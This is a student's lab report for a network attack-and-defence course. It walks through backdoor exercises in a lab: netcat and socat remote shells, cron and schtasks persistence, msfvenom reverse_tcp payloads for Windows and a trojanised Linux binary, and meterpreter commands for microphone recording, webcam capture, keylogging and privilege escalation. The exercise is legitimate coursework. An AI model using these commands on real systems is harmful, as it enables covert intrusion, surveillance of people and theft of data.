20222307 2024-2025-1 《网络与系统攻防技术》 实验二实验报告
1.实验内容
1.1 实践目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.2回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:在非官方渠道中下载某个程序,该程序被植入了后门代码,为了使用程序毅然决然地“无视风险”。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:Linux中通过cron将后门设置为所需的定时启动,通过反弹式连接到客户端然后攻击者通过恶意控制启动后门
Windows中,攻击者可以通过修改注册表将后门程序添加到自启动项中,也可以将后门捆绑植入到各种正常的文件、程序中,当我们打开这些文件程序时后门被启动。
(3)Meterpreter有哪些给你映像深刻的功能?
Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。还能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS(基于主机的入侵检测系统)很难对它做出响应。
(4)如何发现自己有系统有没有被安装后门?
打开电脑中自带的安全中心对全盘进行扫描。或者借助其他软件(例如360、火绒、奇安信)进行查杀。
1.3 本周学习内容
(1)后门概念
后门就是不经过正常认证流程而访问系统的通道。
(2)后门案例
苹果xcode被植入恶意代码(供应链攻击)、CCleaner、阿里云发现Log4j 2 核弹级漏洞
(3)后门技术
管控功能实现技术、自启动技术、进程隐藏技术、数据穿透与躲避技术
2.实验过程
2.1使用netcat获取主机操作Shell,cron启动某项任务
(1)关闭防火墙,为以下所有任务做准备:
(2)查看IP地址:
(3)查看ip地址
主机IP地址为:172.16.210.245
(4)打开虚拟机,主机在netcat路径中打开终端
输入指令:ncat -l -p 2307
使用2307端口
而在Linux主机中输入: nc 172.16.178.40 2307 -e/bin/sh
其中 输入主机ip地址
-e是指定连接后运行的程序
/bin/sh就是shell
使用ls指令查看虚拟机root
能看到出现了代码
kali虚拟机使用了汉化包
由于编码方式的不同,在Windows操作系统上回出现乱码情况
使用reboot重启指令,能看到卡里已经重启显示登录界面
(5)通过设置cron使得kali启动定时任务。
在虚拟机的终端输入crontab -e
(执行文字编辑器来设定时程表)
在编辑器中最后一行添加* * * * * exch "20222307" >> /root/桌面/20222307.txt
后,按:wq
保存
在桌面上生成txt文件输出学号:
在虚拟机中再输入sudo service cron start
执行crontab中的指令
输出情况(每隔一分钟输出一次20222307\n
:
2.2使用socat获取主机操作Shell, 任务计划启动
(1)Windows主机中下载socat,cmd进入socat文件夹,输入命令:
socat.exe tcp-listen:2307 exec:cmd.exe,pty,stderr
(把cmd.exe绑定到端口2307,并把cmd.exe的stderr重定向到stdout)
(2)Linux虚拟机中进入root用户,输入命令:
socat - tcp:172.16.210.245:2307
这样就成功调用主机shell了
(3)回到主机中拿出已经编好的代码
并且运行好之后,生成一个执行文件,复制执行文件的路径
输入schtasks /create /sc minute /mo 1 /tn "20222411kcr" /tr D:\\桌面\\……
(忘记了后面地址是多少了)
(4)回到主机中,按win+x
后再按g
打开计算机管理器看到该程序在运行,说明已经在Linux虚拟机的控制下每分钟执行上面的程序
2.3在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
(1)生成后门文件
在kali中输入ifconfig,获得虚拟机的IP地址:
ip地址为192.168.214.130
继续输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.214.130 LPORT=2307 -f exe > 20222307.exe
msfvenom
:这是Metasploit Framework中用于生成载荷(Payloads)、shellcode、以及其它攻击向量的工具。
-p windows/meterpreter/reverse_tcp
:指定了要使用的载荷类型。在这个例子中,
windows/meterpreter/reverse_tcp
意味着这是一个针对Windows系统的Meterpreter载荷,它通过反向TCP连接与攻击者通信。Meterpreter是Metasploit的一个功能强大的后渗透(post-exploitation)工具,允许攻击者执行各种命令和脚本。
-f exe
:指定输出格式。在这个例子中,输出格式被设置为.exe,这意味着生成的载荷将是一个Windows可执行文件。
> 20222307.exe
:这部分是重定向操作符的使用。它将msfvenom命令的输出(即生成的载荷)重定向到一个名为20222307.exe的文件中。这意味着,生成的载荷将被保存为当前目录下名为20222307.exe的文件。
(2)将后门文件传输至目标主机
主机进入ncat所在目录下,输入指令:
ncat.exe -lv 20222307 > "D:\20222307r.exe"
(图片中和最后用的后门程序不是同一个,所以路径有点不同,后来用了D盘中的
虚拟机上输入指令:
nc 172.16.210.245 2307 < 20222307.exe
(这部分截图漏掉了呜呜呜)
Win主机接收到后门文件20222307.exe,成功在D盘找到文件
(3)配置监听模块
回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
点击查看代码
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.214.130 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 2307(监听的端口)
接着输入exploit,使监听模块开始运行,并在Windows终端运行后门20222307.exe文件
在主机中运行植入的后门程序
输入ls查看Windows主机目录:
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)获取目标主机音频、截屏、摄像头、键盘记录
以下是获取信息的一些指令:
点击查看代码
record_mic (音频)
screenshot (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
将利用MSF meterpreter生成获取目标主机摄像头的照片存到root用户路径中:
具体图片如下:
(2)提权
在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)
发现竟然超时了!!!
提权失败是因为没有使用管理员身份运行cmd
回到Windows主机中找到后门程序后,右键点击以管理员身份运行,就可以提权成功了:
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali虚拟机的终端中输入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.214.130 LPORT=2307 -x /root/桌面/pwn1 -f elf > pwn20222307
点击查看代码
-p : 反向连接载荷
-p linux/x86/meterpreter/reverse_tcp :指定了一个针对 Linux 系统(x86 架构)的 Meterpreter 反向 TCP 连接载荷
-f elf :指定了输出文件的格式。ELF(Executable and Linkable Format)是一种常用于 Linux 和 Unix 系统的可执行文件格式
对生成的pwn20222307文件赋予权限:
输入指令msfconsole,输入以下代码,重现监听过程:
点击查看代码
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.222.129
set LPORT 8888
打开另一个终端,运行pwn20222307文件:
回到上一个msfconsole那个shell中,输入ls查看虚拟机root用户下的所有文件:
3.问题及解决方案
* 问题1:任务四中在exploit中输入getsystem无法提权,显示send timed out
问题1解决方案:在主机中使用管理员身份运行cmd,然后后运行后门程序(2.4.(2)中有提到过)
* 问题2:从虚拟机中生成的后门程序传到主机中总是无法运行
从终端中运行:
都是显示与Windows版本不兼容,能看到该程序是16位的。
而且能看到传出来的文件也不是72kb程序,而是112kb程序。
解决方案:
(1)需要在cmd中打开一个指定的目录:
监听2307端口
在kali虚拟机上输入cat 20222307.exe | nc 172.16.210.245 2307
传入后门程序。
此时,传出来的程序才是72kb正常的后门程序
cat命令是先读取文件内容,然后再通过管道" | "传递给Netcat,所以可能避免了传出来16位的程序。
当时傻傻地还想耍小聪明直接从kali拖出来,但是拖出来的是0kb(呜呜呜)
4.学习感悟、思考等
通过这次实验,我深入了解了后门的运作机制及其实际应用,掌握了ncat、socat、MSF meterpreter等工具的操作方法,虽然在课上老师就提到ncat和socat是“瑞士军刀”一样的存在,虽然当时没能理解老师的意思,这次实验中我领悟到了他们的方便和强大之处,深刻感受到了后门技术的强大影响力。后门的力量越是强大,它对网络安全的潜在威胁也就愈发严峻。起初,我在掌握这些黑客技巧时(尽管仅是作为工具使用者)感受到了一种新奇与兴奋,但随后这种情绪逐渐被对后门危害性的深刻认识所取代。
意识到后门的巨大威力后,我开始担忧:如果我们轻率地下载或点击来自不明来源的文件,我们的电脑就可能轻易落入他人之手。因此,我认识到在网络活动中必须时刻保持警惕,坚持从官方和可信赖的渠道下载软件,不给不法分子留下任何可乘之隙。
虽然是验证性实验,照着实验指导书就能一步步完成,但是过程中总是会出现意想不到的问题。但正是在解决这些问题的时候,我们才会去动脑思考,才会去学习新的东西,不断地探索新事物。在此次实验中我也遇到了别人没有遇到的问题,通过不断地查阅资料和摸索,最终顺利地完成了实验。希望我的解决方案日后能帮助其他遇到同样问题的同学。